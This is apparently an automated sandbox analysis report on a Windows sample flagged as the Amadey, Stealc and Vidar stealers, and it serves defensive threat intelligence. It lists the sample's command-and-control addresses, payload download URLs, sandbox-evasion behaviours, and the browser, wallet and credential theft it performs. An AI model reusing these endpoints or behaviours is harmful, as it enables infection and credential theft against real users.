Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554209
MD5:	3a3ce10c6085d54ab1ae34eb6c39f5d4
SHA1:	3fae4057d424d9a5e7f94eb52f3c8b31f53289fb
SHA256:	4197c70761efa53fe411eec2db9e81ad06242869d4fc4d913e0cfc03b5c20fc8
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2928 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3A3CE10C6085D54AB1AE34EB6C39F5D4)

chrome.exe (PID: 2956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2212,i,6568424161687169964,14682761372451509383,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7856 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2268,i,3616982230694012629,6171515150596214737,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9168 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAAFIJKKEH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBAAFIJKKEH.exe (PID: 8256 cmdline: "C:\Users\user\DocumentsBAAFIJKKEH.exe" MD5: 24990FADD993AEA1F187795842B395D2)

skotes.exe (PID: 8540 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 24990FADD993AEA1F187795842B395D2)

msedge.exe (PID: 8148 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1632 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8044 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7892 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9024 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8752 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 24990FADD993AEA1F187795842B395D2)

skotes.exe (PID: 6204 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 24990FADD993AEA1F187795842B395D2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.2614974454.0000000000D81000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2643149853.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2526195665.0000000000281000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2079793424.0000000005010000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2528465742.000000000120E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2674975786.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3326359008.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2928	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2928	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2928	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.skotes.exe.bb0000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.bb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.bb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.DocumentsBAAFIJKKEH.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2928, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2956, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:24.114511+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49722	TCP
2024-11-12T08:31:02.936741+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	57235	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:09.994960+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:09.987870+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:10.273700+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:11.376033+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:10.282681+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:09.703317+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:32:05.836342+0100	2856147	1	A Network Trojan was detected	192.168.2.5	57297	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:01.333051+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	57298	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:32:09.202974+0100	2803305	3	Unknown Traffic	192.168.2.5	57299	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:30:11.971336+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T08:30:34.437091+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:36.412533+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:37.683148+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:38.875250+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:41.718110+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:42.182216+0100	2803304	3	Unknown Traffic	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:46.227048+0100	2803304	3	Unknown Traffic	192.168.2.5	57137	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllX	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe/M	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exek9	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpi:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php%	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php&	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe710001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dlln	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeencoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php?	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllY	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeAC	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe1395d7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe~	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phph	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000015.00000002.2643149853.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2928.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 38%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B4440 PK11_PrivDecrypt,	0_2_6C7B4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C784420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C784420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B44C0 PK11_PubEncrypt,	0_2_6C7B44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8025B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C8025B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C798670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C7BA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C79E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C7DA730

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:57183 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:57235 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:57297 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:57298

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:57062 -> 1.1.1.1:53

